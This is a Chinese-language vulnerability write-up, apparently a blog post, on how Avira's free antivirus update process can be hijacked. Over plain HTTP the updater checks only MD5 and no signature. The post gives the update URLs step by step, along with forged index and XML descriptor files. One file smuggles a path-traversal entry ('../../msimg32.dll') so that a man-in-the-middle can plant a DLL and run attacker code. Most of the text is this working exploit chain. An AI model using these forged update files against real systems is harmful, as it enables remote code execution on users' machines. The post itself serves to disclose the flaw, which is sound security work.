小红伞的升级过程较为复杂,大致要分为两步索引,两步描述,最终才下载所需的模块文件,虽然每步的描述文件或索引文件都有校验,但校验过于简单,仅仅是通过MD5对文件进行了校验,且最终文件没有进行数字签名校验,导致攻击者有可乘之机,以下的利用步骤测试均为中文免费个人版,收费版本未测试,详细情况如下:

1、从URL地址:http://personal.avira-update.com/update/idx/master.idx下载主索引文件,这个文件描述的是一个生成日期,伪造文件内容如下:

code 区域
CRDATE=20140206_0032
  <e0d1ebd2939e73f0bcf0c319c9aa654e>

2、从URL地址:http://personal.avira-update.com/update/idx/wks_avira13-win32-zhcn-pecl.idx下载第二个索引文件,这个文件描述的是一些产品相关的信息,包括产品信息包的文件路径,还有哈希值,伪造文件内容如下:

code 区域
CRDATE=20141215_1006
 
  PRODUCTINFO=/idx/wks_avira-win32-zhcn-pecl.info.gz
  UPDATEROOT=/
  PRODUCTINFOHASH=wks_avira-win32-zhcn-pecl.info,c14bb3445405d488c915690e9e68150f
 
  <bbd837127dd33aeead37fdc1cf514bd8>

3、从URL地址:http://personal.avira-update.com/update/idx/wks_avira-win32-zhcn-pecl.info.gz下载要升级的模块信息,伪造的文件内容如下:

code 区域
<?xml version="1.0" encoding="iso-8859-1"?>
  <!-- generated with updatecompiler 1.2.0.39 -->
 
  <UPDATE>
  <VERSION value="11.0.0.1"/>
  <NAME value="AntiVir OEM"/>
  <DATE value="Thu Dec 15 10:06:29 2011"/>
 
  <MODULE NAME="VDF">
   <DESTINATION value="%INSTALL_DIR%/;OS=ALL"/>
   <SOURCE value="./"/>
   <INCLUDE value="vdf.upd"/>
   <ENGINE_VDF_SET value=""/>
 
  </MODULE>
 
  <MODULE NAME="MAIN">
   <DESTINATION value="%INSTALL_DIR%/;OS=ALL"/>
   <SOURCE value="./"/>
   <Group value="product"/>
 
   <FILE>
    <NAME value="../../msimg32.dll"/>
    <FILEMD5 value="2b5faad18db50b36c53026603a2a4680"/>
    <PEFILEMD5 value="2b5faad18db50b36c53026603a2a4680"/>
    <FILESIZE value="359461"/>
    <ZIPMD5 value="aeafe1199958520d797ad4dc8d884a69"/>
    <ZIPSIZE value="154842"/>
    <OS value="ALL"/>
   </FILE>
  </MODULE>
  <MD5 value="c482fc0a8dfb3792c791b14aaf81c944"/>
  </UPDATE>

需要特别说明的是:如果中间人想攻击目标,伪造这个文件是最为合适的,因为这个文件中描述了要升级文件的哈希,大小等等,并且在这一步可以构造一个相对路径,来使得最终下载后的文件放到合适的路径,另外,这个文件要用gzip压缩传输。

4、从URL地址:http://personal.avira-update.com/update/idx/vdf.info.gz下载另一个模块的描述信息,这个文件同样适用gzip压缩传输:

code 区域
<?xml version="1.0" encoding="iso-8859-1"?>
  <!-- generated with updatecompiler 1.2.0.39 -->
 
  <UPDATE>
  <VERSION value="0.0.0.1"/>
  <NAME value="AntiVir OEM"/>
  <DATE value="Fri Apr 23 20:20:48 2010"/>
 
  <MODULE NAME="VDF">
   <DESTINATION value="%INSTALL_DIR%/;OS=ALL"/>
   <SOURCE value="./"/>
   <VdfDate value="20100423_0000"/>
 
  </MODULE>
  <MD5 value="375a49d59ed59808277c1d7a5cf07801"/>
  </UPDATE>

5、根据第3步下载的文件中描述的MAIN模块的路径,来下载最终的模块文件,URL类似:http://personal.avira-update.com/update/../../msimg32.dll,这个文件下载后,就会发到我们计算好的相对路径中,未做数字签名校验,最终导致DLL劫持注入,执行攻击者代码的后果。

以上升级步骤,自动升级和手动升级效果相同(默认6小时自动升级)。

发表评论